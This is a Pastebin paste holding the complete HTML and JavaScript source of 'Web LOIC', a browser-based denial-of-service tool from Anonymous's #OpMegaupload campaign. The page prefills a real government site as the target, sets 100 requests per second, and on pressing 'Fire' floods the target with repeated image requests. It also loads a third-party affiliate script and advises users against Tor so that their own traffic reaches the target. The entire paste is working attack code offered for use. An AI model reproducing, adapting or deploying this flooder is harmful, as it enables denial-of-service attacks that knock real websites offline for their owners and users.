Advertisement
Guest User

Web Loic Source

a guest
Jan 21st, 2012
44,878
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 7.51 KB | None | 0 0
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  2. <html>
  3. <head>
  4.  
  5. <script>alert("- #OpMegaupload - We are Anonymous - We are Legion - We do not Forgive - We do not Forget - Eexpect us -") </script>
  6. <title>OpMegaupload - Hack4You.eu</title>
  7. <script language="JavaScript" type="text/javascript">
  8. var txt=" - Web LOIC anonymous - ";
  9.     var refresco=null;
  10.         function titulo() {
  11.     document.title=txt;
  12.  txt=txt.substring(1,txt.length)+txt.charAt(0);
  13.     refresco=setTimeout("titulo()",90);}
  14.  titulo();
  15. </script>
  16.  
  17. <STYLE type="text/css">
  18. body {background-color : black; color: white; text-align: center; width: 550px; margin: auto;}
  19.  </STYLE>
  20.  
  21. </head>
  22.  
  23. <body>
  24.  
  25. <br /><br />
  26. <script type="text/javascript">
  27.     function setAttributeOnload(object, attribute, val) {
  28.       if(window.addEventListener) {
  29.         window.addEventListener("load",
  30.           function(){ object[attribute] = val; }, false);
  31.       } else {
  32.         window.attachEvent('onload', function(){ object[attribute] = val; });
  33.       }
  34.     }
  35. </script>
  36.  
  37. <div align="center">
  38. <script type="text/javascript" src="http://www.affiliation-france.com/sc/aff.php?rtt=MjAzOC4zOTA1&data=ROTATEUR"></script>
  39. <br />
  40. <h1>DO NOT USE TOR !</h1>
  41. <h2>By using TOR, you hit the Tor exit node, not the target! Do not use it !</h2>
  42. <h1>Anonymous</h1>
  43. <h1>Stop Censorship! #OpMegaupload<br/></h1>
  44. <a href="https://twitter.com/search/OpMegaupload">Click for more info on #OpMegaupload</a>
  45. <br /><br />
  46. </div>
  47.  
  48.         <div align="center">
  49.           <fieldset style="width: 100%; height: 100%;">
  50.             <legend><span class="Estilo3"><strong>Step 1. Select Target: </strong></span></legend>
  51.         <div align="center">URL:</div>
  52.         </label>
  53.         </strong></span>
  54.  
  55.         <div align="center"><br />
  56.               <input name="Our target" id="targetURL" style="width: 100%;" value="http://www.iprcenter.gov/"/>
  57.            </div>
  58.         </fieldset>
  59.  
  60.   <div align="center">
  61.     <fieldset style="width: 100%; height: 100%;">
  62.       <legend><span class="Estilo3"><strong>Step 2. AIM YOUR CANNONS!</strong></span></legend>
  63.       <button id="fireButton" style="background-color:red; border-color: rgb(255, 255, 255); width: 240px; height: 100px;"> <h1>Fire !</h1> </button>
  64.       </fieldset>
  65.  
  66.   </div>
  67.  
  68.          <div align="center">
  69.  
  70.            <fieldset style="width: 100%; height: 100%;">
  71.               <legend><span class="Estilo3">Optional. Attack Options </span></legend>
  72.  
  73.          <div align="center">Requests per second:</div>
  74.          <label>
  75.          <div align="center">
  76.            <input style="width: 40px;" id="rps" value="100" />
  77.          </div>
  78.          </label>
  79.          
  80.          <label>
  81.          <div align="center"><span class="Estilo3"><strong>Message:</strong></span><br />
  82.              <input id="message" style="width: 100%;" value="We Are Legion ! Expect us !" />
  83.          </div>
  84.          </label>
  85.     </fieldset>
  86.  
  87.            <div align="center">
  88.              <fieldset style="width: 100%; height: 100%;">
  89.                         <legend><span class="Estilo3">Attack status:</span></legend>
  90.                <dl>
  91.                         <dt><strong>Request:</strong></dt>
  92.                  <dd class="Estilo2" id="requestedCtr">0</dd>
  93.                  <dt><strong>Achieved:</strong></dt>
  94.                  <dd class="Estilo3" id="succeededCtr">0</dd>
  95.                  <dt><strong>Failed:</strong></dt>
  96.                  <dd class="Estilo2" id="failedCtr">0</dd>
  97.                </dl>
  98.                </fieldset>
  99.            </div>
  100.          </div>
  101.  
  102. <div align="center">
  103.   <script>
  104.         (function () {     
  105.        
  106.             var fireInterval;
  107.             var isFiring = false;
  108.             var currentTime = new Date()
  109.             var lastSuccess = currentTime.getTime();
  110.  
  111.             var requestedCtrNode = document.getElementById("requestedCtr"),
  112.                 succeededCtrNode = document.getElementById("succeededCtr"),
  113.                 failedCtrNode = document.getElementById("failedCtr"),
  114.                 targetURLNode = document.getElementById("targetURL"),
  115.                 fireButton = document.getElementById("fireButton"),
  116.                 messageNode = document.getElementById("message"),
  117.                 rpsNode = document.getElementById("rps"),
  118.                 timeoutNode = document.getElementById("timeout");
  119.  
  120.             var targetURL = targetURLNode.value;
  121.                 targetURLNode.onchange = function () {
  122.                     targetURL = this.value;
  123.                 };
  124.  
  125.             var requestsHT = {}; // requests hash table, may come in handy later
  126.  
  127.             var requestedCtr = 0,
  128.                 succeededCtr = 0,
  129.                 failedCtr = 0;
  130.  
  131.             var makeHttpRequest = function () {
  132.            
  133.                                         if ( (currentTime.getTime()-lastSuccess) > 10000) { //Allow no more than 1000 hung requests
  134.                                                 return;
  135.                                         } else { lastSuccess = currentTime.getTime();};
  136.  
  137.                     var rID =Number(new Date());
  138.                     var img = new Image();
  139.                     img.onerror = function () { onFail(rID); };
  140.                     img.onabort = function () { onFail(rID); };
  141.                     img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
  142.                     img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
  143.                     requestsHT[rID] = img;
  144.                     onRequest(rID);
  145.                 };
  146.  
  147.             var onRequest = function (rID) {
  148.                     requestedCtr++;
  149.                     requestedCtrNode.innerHTML = requestedCtr;
  150.                 };
  151.                
  152.             var onComplete = function (rID) {
  153.                     delete requestsHT[rID];
  154.                 };
  155.  
  156.             var onFail = function (rID) {
  157.  
  158.                     failedCtr++;
  159.                     failedCtrNode.innerHTML = failedCtr;
  160.                     succeededCtr++; //Seems like the url will always fail it it isn't an image
  161.                     succeededCtrNode.innerHTML = succeededCtr;
  162.                    
  163.                     delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
  164.  
  165.                 };
  166.  
  167.             var onSuccess = function (rID) {
  168.                     succeededCtr++;
  169.                     succeededCtrNode.innerHTML = succeededCtr;
  170.                     delete requestsHT[rID];
  171.                 };
  172.  
  173.             fireButton.onclick = function () {
  174.                 if (isFiring) {
  175.                     clearInterval(fireInterval);
  176.                     isFiring = false;
  177.                     this.innerHTML = "Fire Again!";
  178.                 } else {
  179.                     isFiring = true;
  180.                     this.innerHTML = "Stop Shooting!";
  181.                     fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
  182.                 }
  183.             };
  184.                         function FireIbero() {
  185.                 if (isFiring) {
  186.                     clearInterval(fireInterval);
  187.                     isFiring = false;
  188.                     this.innerHTML = "Shoot Again!";
  189.                 } else {
  190.                     isFiring = true;
  191.                     this.innerHTML = "Stop flooding";
  192.                     fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
  193.                 }
  194.             };         })();
  195.     </script>
  196. </div>
  197.  
  198. </body>
  199. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement